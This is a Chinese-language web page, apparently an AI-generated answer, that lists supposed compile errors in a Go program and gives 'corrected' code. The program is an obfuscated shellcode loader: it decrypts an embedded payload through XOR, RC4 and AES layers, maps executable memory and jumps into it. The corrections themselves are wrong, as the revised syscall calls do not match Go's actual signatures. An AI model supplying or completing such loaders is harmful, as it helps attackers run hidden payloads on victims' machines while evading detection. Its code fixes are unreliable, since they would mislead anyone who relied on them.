Go 代码分析:编译错误及修复方案
该代码存在以下问题:
-
缺少必要的包引用,例如 'fmt',需要添加。
-
syscall.Mprotect的第一个参数应为uintptr类型,而不是unsafe.Pointer类型。 -
copy函数的第一个参数应为[]byte类型,而不是*[1<<30]byte类型。 -
syscall.Syscall6的第一个参数也应为uintptr类型,而不是unsafe.Pointer类型。 -
syscall.SYS_MMAP和syscall.MAP_ANON在不同的系统上可能不可用,应该使用更通用的syscall.Mmap函数来替代。
综上所述,需要修改的代码如下:
package main
import (
"crypto/aes"
"crypto/cipher"
"crypto/rc4"
"encoding/base64"
"encoding/hex"
"fmt"
"syscall"
"unsafe"
)
func main() {
encryptedShellcode := 'c864430a8f04ba703841e7eed9d0e45f7beea055a45c39a3aa1e6543b6010248b917154c1299dc4c4d90214e2665ba6f5d6f163b6bb5dc7bbe8f0cf145eecb9'
// 解密shellcode
key, _ := base64.StdEncoding.DecodeString('wNnqnB8KmCX/gX9Ddv3xq3W7M8sJtKsRt102nIRtxF0=')
decodeShellcode, _ := hex.DecodeString(encryptedShellcode)
for i := 0; i < len(decodeShellcode); i++ {
decodeShellcode[i] ^= key[i%len(key)]
}
rc4Cipher, _ := rc4.NewCipher(key)
rc4Cipher.XORKeyStream(decodeShellcode, decodeShellcode)
block, _ := aes.NewCipher(key)
iv := decodeShellcode[:aes.BlockSize]
stream := cipher.NewCTR(block, iv)
stream.XORKeyStream(decodeShellcode[aes.BlockSize:], decodeShellcode[aes.BlockSize:])
// 获取内存页大小
pageSize := uint64(syscall.Getpagesize())
// 分配内存空间
addr, _, err := syscall.Mmap(0, 0, int(pageSize), syscall.PROT_READ|syscall.PROT_WRITE|syscall.PROT_EXEC, syscall.MAP_ANON|syscall.MAP_PRIVATE)
if err != nil {
panic(err)
}
// 将shellcode复制到内存空间
_, err = syscall.Mprotect(uintptr(addr), pageSize, syscall.PROT_READ|syscall.PROT_WRITE|syscall.PROT_EXEC)
if err != nil {
panic(err)
}
copy(addr, decodeShellcode)
// 跳转到shellcode
syscall.Syscall6(uintptr(addr), 0, 0, 0, 0, 0, 0)
}
原文地址: https://www.cveoy.top/t/topic/lP38 著作权归作者所有。请勿转载和采集!